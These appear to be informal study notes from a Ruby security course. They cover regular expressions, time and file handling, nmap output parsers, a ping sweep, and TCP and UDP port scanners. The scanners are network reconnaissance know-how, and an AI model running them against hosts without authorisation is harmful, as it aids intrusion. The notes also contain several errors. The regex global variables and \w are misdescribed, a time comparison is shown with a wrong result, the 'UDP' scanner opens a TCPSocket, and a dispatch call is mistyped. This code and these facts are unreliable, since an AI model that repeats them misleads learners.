"Hello World" =~/hello/i
# Output: 0
"Hello World" =~/world/i
# Output: 6

with OO notation, u have to specify the attribute

reg = Regexp.new("hello",Regexp::IGNORECASE)
"Hello World" =~reg
# Output: 0
	
reg = Regexp.new("world",Regexp::IGNORECASE)
"Hello World" =~reg
# Output: 6

→ moreover = http://www.ruby-doc.org/core-1.9.3/Regexp.html

Match method

if u have a regexp object and u invoke match on a string, it gives u another object that describes the match (a MatchData object)
with a matchData object, u can get some information about the matching such as the position of the matched substring, the matched words and much more.
u can treat MatchData as an array - where at each position u can find the matching substring.

//no matching

matching = /world/.match("Hello World") # because its case sensitive
# Output: nil
matching = /world/i.match("Hello World") # with **i** flag, we disable the case sensitive and have a match
# Output: <MatchData "World">
matching[0]
# Output: "World"
matching[1]
# Output: nil
matching.begin(0)
# Output: 6

Special Characters

Characters w/ special meaning:

() [] {} . ? + | ^ $

To use them, u have to use a backslash ** in order to escape them.

"Hello World)" =~/\(/ 
# Output: 12
"Where are you from?" =~/\?/
# Output: 18

Regular Expression Syntax

Rule	Matching
.	A single character (it does not match newline)
[]	At least one of the character in square brackets
[^]	At least one of the character not in square brackets
\d	A digit. Same as [0-9] (0-9 means from 0 to 9)
\D	A non digit characters. Same as [^0-9]
\s	A white space
\S	A non whitespace
\w	A word character, same as [A-Za-z0-9]
\W	A non word character

Example:

"Hello World" =~/auh/ # does not contain auh
# Output: nil 
"Hello World" =~/[auh]/ # does not contain 'a' 'u' or 'h'
# Output: nil
"Hello World" =~/[auh]/i # contain 'H' at index 0
# Output: 0
"Hello World" =~/[0-9]/
# Output: nil
"Hello World" =~/[\d]/
# Output: nil
"I'm 50" =~/[\s]/ # whitespace at index 3
# Output: 3
"Hello World!" =~/[\W]/ # '!' at index 10 - its a non word
# Output: 10

Sequences

Is a concatenation of regular expression. The string must match the resulting concatenated pattern.

Rule	Matching
xy	Regular expression x followed by regular expression y

Example:

"abc 123 abc " =~/\d\d\d\s/ # 3 digit followed by a whitespace - matched at index 4
# Output: 4

Alternatives

(  |  pipe character ) are used to specify that the string must match at least one of the two or more regular expressions.

Rule	Matching
x	y	Either regular expression x or regular expression y

Example:

"Hello World" =~/\s|\./ # a whitespace or a point
# Output: 5
"Hello.World" =~/\s|\./ # a whitespace or a point
# Output: 5

Groups

The specials characters ( and ) are used to group a regular expression into a unique syntactic unit

Rule	Matching
(exp)	exp is grouped as a single unit

Example:

"I'm Ruby" =~/Rub(y|ber)/
# Output: 4
"I'm Rubber" =~/Rub(y|ber)/
# Output: 4
"I'm Ruber" =~/Rub(y|ber)/ # cause there is not ruber, only rubber
# Output: nil

Groups are often used to capture more than one pattern inside a string
With MatchData objects, we can get a description of these patterns: matched words, positions and much more.

Example:

reg = /(Ruby).(Perl)/
matching = reg.match("I like Ruby&Perl")

matching[0] # the entire matching
# Output: "Ruby&Perl" 
matching[1] # ruby word matching
# Output: "Ruby"
matching[2] # perl word matching
# Output: "Perl"
matching.begin(0) # the entire matching index
# Output: 7
matching.begin(1) # ruby word matching index
# Output: 7
matching.begin(2) # perl word matching index
# Output: 12

→ moreover = http://www.ruby-doc.org/core-1.9.3/MatchData.html

Repetitions

Rule	Matching
exp*	Zero or more occurrences of exp
exp+	One or more occurrences of exp
exp?	Zero or one occurrence of exp
exp{n}	n occurrences of exp (N is a natural number)
exp{n,}	n or more occurrences of exp
exp{n,m}	at least n and at most m occurrences of exp

Example:

"RubyRubyRuby" =~/(Ruby){3}
# Output: 0
"RubyRubyRuby" =~/(Ruby){4}
# Output: nil

Anchors

Are used to specify the position of the pattern matching.

Rule	Matching
^exp	exp must be at the begin of a line
exp$	exp must be at the end of a line
\Aexp	exp must be at the begin of the whole string
exp\Z	exp must be at the end of the whole string
exp\z	same as \Z but match newline too

Examples:

"Hello World" =~/^Hello/
# Output: 0
"Hello World" =~/\AHello/
# Output: 0

A real world example

Let us suppose u have a string that contains an IP address and we want to identify its position as well as extract its parts separated by dots (octet of the address).

/(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/

ip_reg = /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/
my_ip = ip_reg.match("Some text... 192.168.1.1 other text ... ")
my_ip.to_a
# Output: ['192.168.1.1','192','168','1','1']

the last example does not identify only IP, what if the string contains 999.999.999.999?
There is a lot of standard and verified regular expressions that u can use according to your needs in the internet.

Regular expressoins in the Ruby platform

Global variables
Working with string

Global Variables

Variable	Description
$~	The MatchData object of the last match
$&	The substring that matches the first group pattern
$1	The substring that matches the second group pattern
$2, $3, etc	And so on

Example:

"Hello World !!!" =~/^(hello)\s(world)\s(!!!)$/i
# Output: 0
$~
# Output: #matchdata "Hello World !!!"

$&
# Output: "Hello World !!!"
$1
# Output: "Hello"
$2
# Output: World
$3
# Output: "!!!"
$~.to_a
# Output: ["Hello World !!!", "Hello", "World", "!!!"]

The most important is $~ because all others are derived from it.

Working with strings

u can use regexp For all the methods seen in the Basic section: sub, gsub, split and more.
method scan
allows u to iterate through more occurrences of the text matching in the pattern

Example:

text = "abcas 192.168.1.2 textomtxo 192.168.4.20 more text"
pattern = /(?:\d{1,3}\.){3}(?:\d){1,3}/
text.scan(pattern) { |x| puts x }
  192.168.1.2
  192.168.4.20

(?:exp) = this syntax avoid capturing the subexpression inside ( ) so only the entire external expression is captured (the IP address)

Dates and Time

Time class
Other classes

Time class

Provides methods to work with your operating system date and time functionality. → http://www.ruby-doc.org/core-1.9.3/Time.html

Create a time instance

Current system time:

TIme.new

Current time converted in utc:

Time.new.utc

Time.local is a synonymous For Time.new:

Time.local(2014,5,6)
# Output: 2014-05-06 00:00:00 + 0200

Components of a time

t = TIme.local(2014,1,13,11,50)
# Output: 2014-01-13 11:50:00 +0100
t.year
# Output: 2014
t.month
# Output: 1
t.day
# Output: 13
t.hour
# Output: 11
t.yday
# Output: 13

Predicates and conversions

t = Time.now
# Output: 2014-01-13 11:36:30 +0100

t.tuesday?
# Output: false
t.monday?
# Output: true
t.utc?
# Output: false

Conversion between zone may be useful too:

t = Time.new.utc
# Output: 2014-01-13 10:42:47 UTC
t.zone
# Output: "UTC"
t.localtime
# Output: 2014-01-13 11:42:47 +0100
t.zone
# Output: "CET"

// timestamp
t.to_i
# Output: 1389610659

// an array
t.to_a
# Output: [39, 57, 11, 13, 1, 2014, 1, 13, false, "CET"]

Arithmetic

Simple operations with time (+ and -) in order to add seconds to your time object:

t = Time.now
# Output: 2014-01-13 12:21:40 +0100

t + 20 //add 20 seconds to t
t + 60*60 //add an hour to t
t + 6*(60*60*24) // add 6 days to t

gem install -r active_support

// this gem adds some useful methods when u work w time arithmetic

require 'active_support/core_ext/numeric/time'
 true

10.days
# Output: 864000
t = TIme.now
	...
t + 10.days # add 10 days
t + 1.week # add 1 week

if u do not want to install a gem, u can write your own version.

class Numeric
  def days; self*60*60*24;end
end

t = TIme.now # grab current time
t + 10.days # add 10 days

Comparisons

now = Time.now
before = now -50
after = now +50

now > before
# Output: true
after > before
# Output: false
before+50==now
# Output: true

From time to string

u can obtain a string with to_s or ctime method:

t.to_s
t.getutc.to_s
t.ctime
t.getutc.ctime

strftime method formats Time objects according to the directives in the given format string.

Directives begin with the % character:

%Y = year
%m = month
%d = day
etc

Example:

t.strftime("%Y/%m/%d")
  "2014/01/14"
t.strftime("%H:%M:%S")
  "10:33:22"

There is combinations directives:

%c = date and time
%D = date
%F = ISO 8601
%r = 12hour time
%R = 24hour time
%T = 24 hour time with seconds

→ moreover = http://www.ruby-doc.org/core-1.9.3/Time.html

Other Classes

Date = its used to manage date
DateTime = its subclass of Data and it allows to manage time too

both can be used like Time. But its slower

Files and Directories

Dir : For directories
File : For files

Dir

dir class defines class methods that allows u to work with directories. It provides a variety of ways to list directories as well as their content. It can also be used to know where the Ruby script is executed or to navigate between file system directories.

Current Directory

pwd and getwd class methods can be used to identify the current working directory.

Dir.pwd
# Output: "/root/ruby"
Dir.getwd
# Output: "/root/ruby"

The home method instead returns the home directory of the current user (or the home directory of the given user)

Dir.home
# Output: "/root"
Dir.home("root")
# Output: "/root"
Dir.home("mark")
# Output: "/home/mark"

The chdir method can be used to change the current directory

Dir.pwd
# Output: "/root/ruby"
Dir.chdir("dir_example")
Dir.pwd
# Output: "/root/ruby/dir_example"

with chdir u can also use .. (back to parent directory)
u can use with blocks of code (loops)

puts Dir.pwd
Dir.chdir("nested_dir") do
  puts Dir.pwd
end
puts Dir.pwd

Output:

/root/ruby/dir_example
/root/ruby/dir_example	/nested_dir
/root/ruby/dir_example

Creation / Deletion

mkdir method to create directories

Dir.mkdir("teste")

delete, rmdir,unlink to delete an existing directory

Dir.unlink "test"

Directory Listings

entries returns an array containing all files in the given directory

Dir.pwd
# Output: '/root/'
Dir.entries(".") # le dot means the current folder
# Output: ['chdir.rb', '.', '..', 'chdir-rb~', 'nested_dir', 'test']

with a iterator we can use foreach

Dir.foreach(".") do |file|
  puts file
end

glob method or [] allows to search files and directories in the file system, according to a specific pattern.

→ moreover = http://en.wikipedia.org/wiki/Glob_(programming)

Example to list all rb files in the directory:

Dir["*.rb"]
Dir.glob("*.rb")

→ moreover glob references - http://ruby-doc.org/core-1.9.3/Dir.html

Testing Directories

Exist? and exists? can be used to test if the specified path is a directory

Dir.exist? "/path"
Dir.exists? "/path"

Dir Objects

dir = Dir.new("dir_example")
dir.each {|x| puts x}
//it will list all files

Windows Application Directory Listing Example

check if an application is installed on a Windows machine and if its, it tries to list the content of the directory.

Usually Windows applications are installed in the following directories:

→ C:\Program Files
→ C:\Program Files (x86)
→ C:\

directories = [
'C:\\Program Files\\',
'C:\\Program Files (x86)\\',
'C:\\'
]

installed = false
\for dir in directories do
dir = dir + ARGV[0]
if Dir.exist? dir then
  installed = true;
  puts %Q!"#{dir}" exists!
  puts "\nListing: "
  Dir.foreach(dir) { |x| puts x }
end
end

if !installed then
  puts ARGV[0] + " is not installed"
end

Files

This class allows programmers to work with files: open a file, get information about it, change its name, change its permission and much more. → http://ruby-doc.org/core-1.9.3/File.html

Check if a file exists:

File.exist? "empty_file.txt"
# Output: true

Get the file size in bytes:

File.size "teste.txt"
# Output: 2976

Returns the size in bytes or nil if the file is empty:

 File.size? "test.txt"
 # Output: nil

Returns true if the file is empty:

File.zero?
# Output: true

Check if the argument is a file, directory or a symbolic link:

File.file? "test.txt"
# Output: true
File.directory? "nested_dir"
# Output: true
File.symlink? "test_link"
# Output: true

U can check the type directly with ftype:

File.ftype "test.txt"
 # Output: "file"

Methods readable?, writable? and executable? can be used to test permissions:

File.readable? "test.txt"
# Output: true
File.writable? "test.txt"
# Output: true
File.executable? "test.txt"
# Output: false

mtime and atime returns respectively the last modification time and the last access time as a Time object:

at=File.atime "test.txt"
# Output: "2014-01-17 11:09:24 +0100"
at.getutc
mt = File.mtime "test.txt"
mt.getutc

ctime can be used on Windows to retrieve the creation time:

File.ctime "test.txt"

stat method returns a File::Stat object that encapsulates common status information about the file:

st = File.stat "test.txt"
st.size
# Output: "3185"
st.atime
# Output: "2014-01-17 11:32:14 +0100"

Working with Names

basename method can be used to extract the file name form a path. If u specify the suffix argument then the suffix itself is removed from the result:

File.basename path
# Output: "test.txt"
File.basename(path, ".txt")
# Output: "test"

dirname method can be used to extract only the directory part of a path string. This will cut the last part from the string (therefore it does not have the suffix arg):

File.dirname path
 # Output: "~/ruby/file_example"

extname method returns the extension of the file of the given path while split returns an array containing both dirname and basename:

File.extname path
 # Output: ".txt"
File.split path
# Output: ["~/ruby/file_example", "test.txt"]

join method allows us to create string paths. With FILE::SEPARATOR u can create both relative and absolute paths:

File.join("~","ruby","file_example")
File.join("","root","ruby","file_example")

expand_path method converts a relative path to an absolute path. It has two arguments, the second is optional and if its provided, its prepended as a directory to the first argument.

If the first agument contains a ~, then the current user home directory is used; otherwise the current working directory is used as the prepended directory.

File.expand_path("nested_dir")
# Output: "/root/ruby/file_example"
File.expand_path("~/Desktop")
# Output: "/root/Desktop"
File.expand_path("Documents","/root")
# Output: "/root/Documents"

fnmatch method tests if a filename string matches a specified pattern. The pattern is not a regular expression but its the usual glob syntax (first argument):

File.fnmatch("*.txt","test.txt")
# Output: true
File.fnmatch("*.rb","test.txt")
# Output: false
File.fnmatch("*.rb","example.rb")
# Output: true
File.fnmatch("/*/*.rb","/root/ex.rb")
# Output: true

Creation / Deletion / Renaming

open method with the write modifier w to create a file:

File.open("a_file.txt","w")

u can also use new to create

rename allows u to rename a file or a directory:

File.rename("a_file.txt","new_file.txt")

delete and unlink are used to delete a file:

File.delete "new_file.txt"

chmod to change the permissions of a file:

File.chmod(0666, "test.txt")

// the chown is used to change the owner and the group of a file

→ moreover files: http://ruby-doc.org/core-1.9.3/File.html

File Stream

Reading From a file

→ http://ruby-doc.org/core-1.9.3/IO.html

→ http://ruby-doc.org/core-1.9.3/File.html

If open is followed by a block, the file object is passed to the block and the stream is automatically closed at block termination:

File.open("multi_line.txt","r") do |file|
  contents = file.read
  puts contents
end

Output:

first line
second line
third line

read can be used without opening the file:

content = FIle.read("multi_line.txt")

// the same output

The method readline is similar to read but it can be used to obtain an array containing the line of the file:

File.readlines("multi_line.txt")

each can also be used to read a file line by line:

file = File.new("text.txt","r")
count =0
file.each do |line|
  puts "n:#{count} #{line}"
  count+=1
end

There are other methods to read only characters (readchar) and bytes (readbyte):

Writing to a file

- w = write only
- w+ = read and write
- a = append 
- a+ = append and read

File.open("text.txt","w") do |file|
  file.puts "First line \n"
  # or
  File.write "Second line"
end

Working with NMAP files

IP Extraction

nmap -PE -sn -n 

-PE = ICMP echo request
-sn = only PING Scan (disable port scan)
-n = Never do DNS resolution

NMAP Types of outputs:

-oN = normal output
-oX = xml format
-oG = greapable format
-oA = create 3 files with all the previous formats

We can grab the IP with regular expression :

/^(?:Nmap scan report For )((?:\d{1,3}\.){3}\d{1,3})/

(?:Nmap scan report For ) = identifies if the line starts with nmap scan report For

 ((?:\d{1,3}\.){3}\d{1,3}) = matches an IP address

(?: ) syntax avoids capturing the subexpression inside parentheses. They are groups and they are used to capture more than one pattern inside a string.
Therefore if we use (?: ), when we compare the entire pattern with a string, it does not capture the subexpression inside it.

example 1 : Grab IP from NMAP normal format

begin
  File.open(ARGV[0], "r") do |file|
    file.each do |line|
      /^(?:Nmap scan report For )((?:\d{1,3}\.){3}\d{1,3})/ =~ line
      puts $1 if $1
    end
  end
rescue StandardError => e
  puts "An error occurred: #{e}"
end

example 2 : Grab IP from NMAP Grepable format

begin
  File.open(ARGV[0], "r") do |file|
    file.each do |line|
      /^(?:Host:)\s((?:\d{1,3}\.){3}\d{1,3})/ =~ line
      puts $1 if $1
    end
  end
rescue StandardError => e
  puts "An error occurred: #{e}"
end

NMAP XML file
its not a good idea to use regexp, its better to parse the data
we want to extract the addr attribute of the address node

→ https://www.w3schools.com/xml/xquery_intro.asp

→ https://www.w3schools.com/xml/xpath_intro.asp

// if u want learn more about xml structures
Ruby provides different libraries and gems to handle XML. One of them is REXML module.

→ http://www.germane-software.com/software/rexml/

→ http://ruby-doc.org/stdlib-1.9.3/libdoc/rexml/rdoc/REXML.html

We have to reach the address node of each host node. In xpath, we can achieve this using different strategies:

/nmaprun/host/address[@addrtype='ipv4']
# means that we start from the root node (vertex), then go down in the host node and finally we go down in the address node which contains the addrtype attribute equals to ipv4

//host/address[@addrtype='ipv4']
# means that there is not a starting point, rather all of the times we find a host node, we have to go down in an address node and check the addrtype.

Since we will use REXML, one of the previous syntax must be inserted in one the method provided by REXML For data extraction.

example 3 - Grab the NMAP XML output:

require "rexml/document"
begin
  doc = REXML::Document.new File.new(ARGV[0])
  doc.elements.each("//host/address[@addrtype='ipv4']") do |addr|
    puts addr.attributes["addr"]
  end
rescue Exception => e
  puts e
end

All Together

add the shebang, it tells what interpreter that executes the scripts code.

which ruby = /usr/bin/ruby
set executions permitions with chmod +x <file.rb>

#!/usr/bin/ruby
# this method contains the main script logic
def main(opt,file)
  case opt
    when nil then usage
    when "-oN" then normal file
	when "-oG" then grepable file
	when "-oX" then xml file
	else detect opt
  end
end

if we want to execute the script from any directory, we need to add the directory of the script to the root user PATH environment variable
we have to change the PATH variable in the .bashrc file contained in the root user home dir

Add the line:

export PATH=/<path of the script>:$PATH

the normal - grepable - xml methods, contain the same code of the specific format scripts that we did earlier.
lets see the method detect

If no option is provided the script detects if a standard nmap output file is provided:

.nmap | .xml | .gnmap

def detect(file)
  extensions = [".nmap",".xml",".gnmap"]
  opt = ["-oN","-oX","-oG"]
  i = extensions.index(File.extname file)
  # if the file has a valid standard extension we retry
  # the main method with the correct option
  (main(opt[i].file);return) if i
  #otherwise an exception occurs
  raise Exception.new("Supported extensions: "+extensions.join(" | "))
end

Open Ports Extraction

We will see how to extract IP addresses and ports from the command:

nmap -sS -n
# -sS = TCP SYN request
# -n = never do DNS resolution

The arguments that the script should handle are the following:

pextr-n.rb ip [-closed | -filtered | -open] file

#!/usr/bin/ruby

begin
  # escape all the dots ( . ) -> ip is used in 
  # ip_pattern regular expression
  ip = ARGV[0].gsub(".","\\.")
  
  # check if the optional argment 'state' is provided
  options=["-open","-closed","-filtered"]
  # [1..-1] deletes the first minus character from ARGV[1]
  port_state=ARGV[1][1..-1] if options.include? ARGV[1]
  # if port_state is nil - > default state is 'open'
  port_state = "open" if !port_state
  # check if argument is the file
  file = ARGV[2] if ARGV[2] #if the optional state holds
  file = ARGV[1] if !file # if no optional state

first we have to find the section in the file that contains information of the IP provided
then we have to extract all the ports that have the desired state (open close filtered)

Ip and port_state created previously:

ip_pattern=/^Nmap scan report For #{ip}$/
up_host_pattern=/^Host is up (?:.)*\n/
port_pattern=/^(?:(\d+)\/\w+\s+#{port_state}\s+.+\n)/

now we can read one line at time
once we find the correct IP (ip_pattern matched), if the host is alive (up_host_pattern matched), we can extract every port that is open or closed or filtered, according to our need (port_pattern matched)

stream = File.new(file, "r") # Open the file stream

stream.each do |line| # For each line of the stream
  line.match(ip_pattern) do # If the IP is found and the IP host is up, extract each port
    stream.readline.match(up_host_pattern) do
      stream.readline # Reads a line of type not shown *closed ports*
      stream.readline # Reads a line of type: "PORT STATE SERVICE"

      stream.each do |line| # From here, each line stores the port
        line =~ port_pattern # Line matches the port sub-pattern
        puts $1 if $1 # Print the port
        break if line == "\n" # If all the lines have been parsed, exit from the block
      end
    end
  end
end

Example usage:

./pextr-n.rb <ip> -filtered <nmap file>
./pextr-n.rb <ip> <nmap file> # open ports only

Grepable format

the recurring pattern is:
port/status/protocol//service
we can do it with String scan method

Example:

up_host = /^Host:\s#{ip}\s\(\)\s+Status: Up/
port_pattern = /(?:\s(\d+)\/#{port_state}\/[^\/]+\/\/[^\/]+\/\/\/)/
#for each line of the stream
stream.each do |line|
  #if the ip is found
  line.match(up_host) do
	#reads the next line and extracts each port with scan method
	stream.readline.scan(port_pattern) {|port| puts port}
  end
end

The usage is the same as the last one:

./pextr-g.rb <ip> -filtered <nmap file>
./pextr-g.rb <ip> <nmap file> # open ports only

XML format

we are interested into the following path type:

host > ports > port > portid

- the following syntax allows us to go only into ports nodes that are opened and are related to the ip <ip>
- //host[address/@add='10.50.97.5']//port/state/@state='open']
- Remember that [] are For conditional statement and @ is used to indicate an attribute of a node
- the above string means that if we find an **host** node that has the address child node with the attribute **addr** equals to 10.50.97.5, then it should go into the **port** node that has a state node with the attribute **states** equals to open

parses the xml file to create a tree

doc = REXML::Document.new File.new(file)

XPath syntax to extract only the desired ports

pattern = "//host[address/@addr='#{ip}']//port[state/@state='#{port_state}']"

For each address node child of host node puts to stdout the addr attribute

doc.elements.each(pattern) do |port|
  puts port.attributes["portid"]
end

The usage is the same:

./pextr-x.rb <ip> -filtered <nmap file>
./pextr-x.rb <ip> <nmap file> # open ports only

All together

#!/usr/bin/ruby
# this method contains the main script logic
require "rexml/document"

begin
  
  (usage;exit) if !match_ip(ARGV[0])
  ip = ARGV[0]

  state,default = match_state(ARGV[1])
  type = default ? ARGV[1] : ARGV[2]
  file = default ? ARGV[2] : ARGV[3]
  f_type,file = match_file(type,file)

main(f_type,file,state,ip)

rescue SystemExit
rescue Exception => e
  puts e

end

def usage
st = <<END
pextr eLearnSecurity \u00A9 2014
It extracts (open|filtered|closed) ports
of a specified ip address from nmap results.
Usage: pextr ip [Port State] [File Type] file|stream

PORT STATE
 -open      opened ports (default)
 -filtered  filtered ports
 -closed    closed ports
        
FILE TYPE
 -oX when file is an xml nmap output
 -oN when file is a normal nmap output
 -oG when file is a grepable nmap output
        
 [File Type] is not required when file has 
 .nmap | .xml | .gnmap extension

EXAMPLES
 pextr 10.50.97.5 nmap.xml
 pextr 10.50.97.5 -filtered -oX nmap.xmlout
 pextr 10.50.97.5 -closed file.nmap
 nmap -sS -n 192.168.1.15 | pextr 192.168.1.15 -oN

END
  puts st
end

Network

The Network
	
  Socket Basics
		
  Penetration Testing Activities
		
  Raw Socket
	
  OS Interactions

The Network

We will see how to connect to a time server:

→ TCPSocket - http://ruby-doc.org/stdlib-1.9.3/libdoc/socket/rdoc/TCPSocket.html

→ UDPSocket - http://ruby-doc.org/stdlib-1.9.3/libdoc/socket/rdoc/UDPSocket.html

→ high level protocols = http://ruby-doc.org/stdlib-1.9.3/libdoc/net/

Sockets Basics

TCP Client

RFC868

→ http://tools.ietf.org/html/rfc868

TCPSocket is very simple, it requires a socket library.
Lets us connect to the TIME server ip:64.113.32.5 port:37

example 1:

require 'socket'
  true
s = TCPSocket.open("165.193.126.229",37)
res = s.gets
  "\xD6\x94\xA2\xC2"
int = res.unpack('N')
  [3600065218]
  # since the Unix timestamp starts from 1 jan 1970 GMT, we must subtract 2208988800
time = Time.at(int[0]-2208988800)
# Output: 2014-01-30 11:31:20 +0100
s.close

example 2:

time = TCPSocket.open("165.193.126.229",37) do |s|
  Time.at(s.gets.unpack('N')[0] - 2208988800)
end
# Output: 2014-01-30 11:31:20 +0100

# we can also do it in one line, just replace the do .. end with { }

example 3:

time = TCPSocket.open("165.193.126.229",37) { |s| Time.at(s.gets.unpack('N')[0] - 2208988800)}

The addr method can be used to obtain information about local part of the stream. It returns the local address as an array which contains address_family, port, hostname and numeric_address

s.addr in this case will return these informations

s.peeraddr - to obtain the same information about the remote part of the stream

s.peeraddr true = to specify that we want a reverse DNS lookup and find the hostname

to specify the port we need to use open with two parameters: source ip, port ip

For example:

s = TCPSocket.open("165.193.126.229",37,"10.0.2.15",6000)
s.addr
["AF_INET",6000,"10.0.2.15","10.0.2.15"]

UDP Client

Udp is stateless and connectionless protocol:

require 'socket'
s = UDPSocket.new
s.send("",0,"165.193.126.229",37)

resp = s.recv(4)
# Output: "binary data"
time = Time.at(resp.unpack('N')[0] - 2208988800)
# Output: "time "

udp can lose packets because it doest not have an ack. So our recv can wait the packets in freeze our application.
To avoit this situation we can use recv_nonblock that does not wait For the response.
if no response is received, it raises an exception; therefore u can rescue it and continue with the script execution.

The server

Create a TCPServer instance with new and provide the IP and port as arguments:

server = TCPServer.new ip,port

Cccept client requets:

loop do
  client = server.accept
end

Server logic code:

first, the server prints the information about the connected client; Then it sends the correct Time information according to the received type string

print Time.new.to_s + " - IP: "+client.peeraddr[3]
print " Port: "+client.peeraddr[1].tp_s+"\n"
case client.gets.chop
  when "timestamp" then client.puts(Time.now.to_i)
  when "utc" then client.puts(Time.now.utc)
  when "local" then client.puts(Time.now)
  else client.puts("Invalid operation")
end

to finish the code we add the def main(ip,port) at the beginning
and client.close at the end

This is not suitable to handle a large number of client connections at the same time. In this situation, usually a multi-thread server is used; one thread is given at each client connection and the server can handle multiple connections at the same time (this avoids long queues)

Multi-threading tcp server (skeleton) example:

# new TCP server bound to ip and port arguments
server = TCPServer.new ip,port
# loop indefinitely to accept clients requests
loop do
  # new request accepted - client is a socket
  # logic block is executed in a new thread
  Thread.start(server.accept) do |client|
	#.. server logic..
	# client variable is used to interact 
	# with the connected client
  end
end

The Client

def main(host, port, type)
  # open the connection with the time server
  # available on host and port arguments
  TCPSocket.open(host, port) do |s|
	#send to the server the type of time we want
	s.puts(type)
	# (timestamp|utc|local)
	# receives and puts to stdout the formatted time
	puts s.gets
  end
end

Run the server:

./time_Server.rb <ip> <port>

Run the client:

./time_client.rb <ip> <port> timestamp
# Output: 1391425207

The server will get information of the client request

Ping Sweep

using ICMP echo requests
if the destination host is alive (and the ping is not filtered by a firewall), it will respond with a ICMP echo reply
there are a lot of gems that w can use
net-ping: a collection of classes that provide different ways to ping computers

To install a gem: gem install net-ping -r

Example:

require 'net/ping'
host = ARGV[0]
req = Net::Ping::ICMP.new(host)

if req.ping then puts host + " UP"
else puts host + " DOWN" end

if the timeout is not provided we use 1 second by default. Then we scan each host of the network, sending an ICMP request andprint the current IP

require 'net/ping'

def main(network, timeout)
  timeout = timeout ? timeout.to_f : 1

  (1..254).each do |i|
    ip_address = network + i.to_s
    req = Net::Ping::ICMP.new(ip_address, nil, timeout)

    puts ip_address if req.ping
  end
end

begin
  unless ARGV.length == 2
    puts "Usage: ruby script_name.rb network timeout"
  else
    main(ARGV[0], ARGV[1])
  end
end

the network must be “xxx.xxx.xxx.”
eg: “192.168.1.”

Time ruby ping_sweep.rb <ip> 0.15 // 0.15 seconds For each IP
# 10.0.2.2
# 10.0.2.3
# 10.0.2.4
# etc

TCP Connect - Port Scanning

a port scan can be performed after the identification of an alive host or it can be used to verify if an host is alive.

There is different types of port scanning:

TCP full connection
TCP SYN
TCP ACK
UDP

The strategy to perform the scan:

with TCPSocket, we try to connec to an host port
if the connection is successful (TCP three way handshake), then the port is clearly open
if the connection is refused, then the port is closed or firewalled (the host or the firewall respond with RST+ACK)
otherwise, if we do not receive a response, there is probably a firewall that filters the port with no response at all.

Imagine a service filtered based on source IP addresses. If u r not in the source IP whitelist, u will receive an RST+ACK but the port is actually open as well as the service.

The skeleton of the script

For each port between start_port and end_port, we the connection and we identify if its filtered or open:

require 'socket'

def main(host, start_port, end_port)
  open = []
  filtered = []

  start_port.upto(end_port) do |port|
    begin
      # Replace the comment below with your actual TCP socket connection logic
      socket = TCPSocket.new(host, port)
      socket.close
      open << port
    rescue StandardError
      filtered << port
    end
  end

  puts "OPEN" unless open.empty?
  puts open.join(', ') unless open.empty?
  puts "FILTERED" unless filtered.empty?
  puts filtered.join(', ') unless filtered.empty?
end

# Example usage:
# main("example.com", 80, 100)

The TCP SOCKET CONNECTION skeleton:

begin
  TCPSocket.open(host,port)
  open.push port
rescue Errno::ETIMEDOUT
  filtered.push port
rescue Errno::ECONNREFUSED
end

if no exception occurs, then the port is open and we push it into the open array. If a timeout error is raised, the port is certainly filtered and we push it into the filtered array

Usage:

ruby tcp_cps.rb <ip u want to scan> 1-600 # port range

- the nmap equivalent to this is **-sT**
- nmap -sT -n <ip> -p <range>
- nmap uses faster strategies. one of them is working with more than one thread.
- our script is slow, a solution to this problem would be implementing multi-threading

UDP Port scan

Some import services such as DNS, SNMP and DHCP use UDP
udp is often ignored because its stateless and sometimes identifying if an UDP port is open or closed may take a lot of time.
For this reason, during our security audits we should run a UDP port scan, only to well-known ports and services, and only if its strictly necessary (do not scan big ranges of ports)
Nmap documentation reports that a full and reliable UDP port scanning (65535 ports) can take more than 18 hours in some systems.

Strategy to identify UDP open ports:

first of all, we send an UDP packet to a port;
if we receive an ICMP error (destination unreachable or others) then we can conclude that the port is closed or firewalled;
if we receive an UDP response then the port is open and the service is available.

UDP is stateless, therefore if we do not receive a response, there is a chance that a packet (request or response) has been lost.
there is also the likelihood that a firewall which avoids sending a ICMP packet as a response. Therefore when we use UDP, we should try to send the request packet more than once.
platforms like Linux usually avoid sending too many packets of the same type (ICMP is one of them) in order to avoid network congestions. Linux sends an ICMP packet once per second; therefore our script must take this behavior into account.

This is the skeleton of the script. We accept an array of ports to test. For each port, we have to send some UDP packets and catch any response:

require 'socket'

def main(host, ports)
  open = []
  filtered = []
  closed = []

  # ports is an array of port
  ports.each do |port|
    begin
      # Replace the comment below with your actual UDP packet sending logic
      socket = UDPSocket.new
      socket.connect(host, port)
      socket.send("Your UDP packet payload", 0)
      open << port
    rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH
      filtered << port
    rescue StandardError
      closed << port
    ensure
      socket&.close
    end
  end

  puts "OPEN" unless open.empty?
  puts open.join(', ') unless open.empty?
  puts "FILTERED|OPEN" unless filtered.empty?
  puts filtered.join(', ') unless filtered.empty?
  puts "CLOSED" unless closed.empty?
  puts closed.join(', ') unless closed.empty?
end

# Example usage:
# main("example.com", [80, 443, 8080])

For each targert port, the first thing to do is to create an UDPSocket which will be bound to the destination host and port.

Then we want to send 5 UDP packets using a proper timing strategy:

ports.each do |port|
  u = UDPSocket.new
  u.connect(host,port)
  (1..5).each do |i|
	  #send 5 UDP packet
	  # with a proper timeout
  end
end

First we send a packet and wait For the first response
if no response is received, the timeout is triggered (note that the timeout is incremental)

If the timeout is triggered For all 5 packets then we consider the port filtered:

require 'timeout'
require 'socket'

u = TCPSocket.new('example.com', port)
open = []
closed = []
filtered = []

(1..5).each do |i|
  begin
    Timeout.timeout(i * 0.5) do
      u.write("\0")
      u.recv(10)
      open.push(port)
    end
  rescue Errno::ECONNREFUSED
    closed.push(port)
  rescue Timeout::Error
    filtered.push(port) if i == 5
  ensure
    break
  end
end

u.close

We can improve the script even more:

by add regex to verify the command parameter format (ip and ports)

by add different logic (timing strategy or a multi-thread)

Raw Socket

Can be used to interact with the network using a low level strategy. They usually needs root privileges to be used.

Raw sockets allow one to forge network packets (IP, UDP, TCP, and so on) by yourself but a high knowledge of network protocols and headers is required.

If u r familiar with low level concepts, check these links

→ http://www.ruby-doc.org/stdlib-1.9.3/libdoc/socket/rdoc/Socket.html

→ http://www.ruby-doc.org/stdlib-1.9.3/libdoc/socket/rdoc/BasicSocket.html

PacketFu

→ https://github.com/todb/packetfu

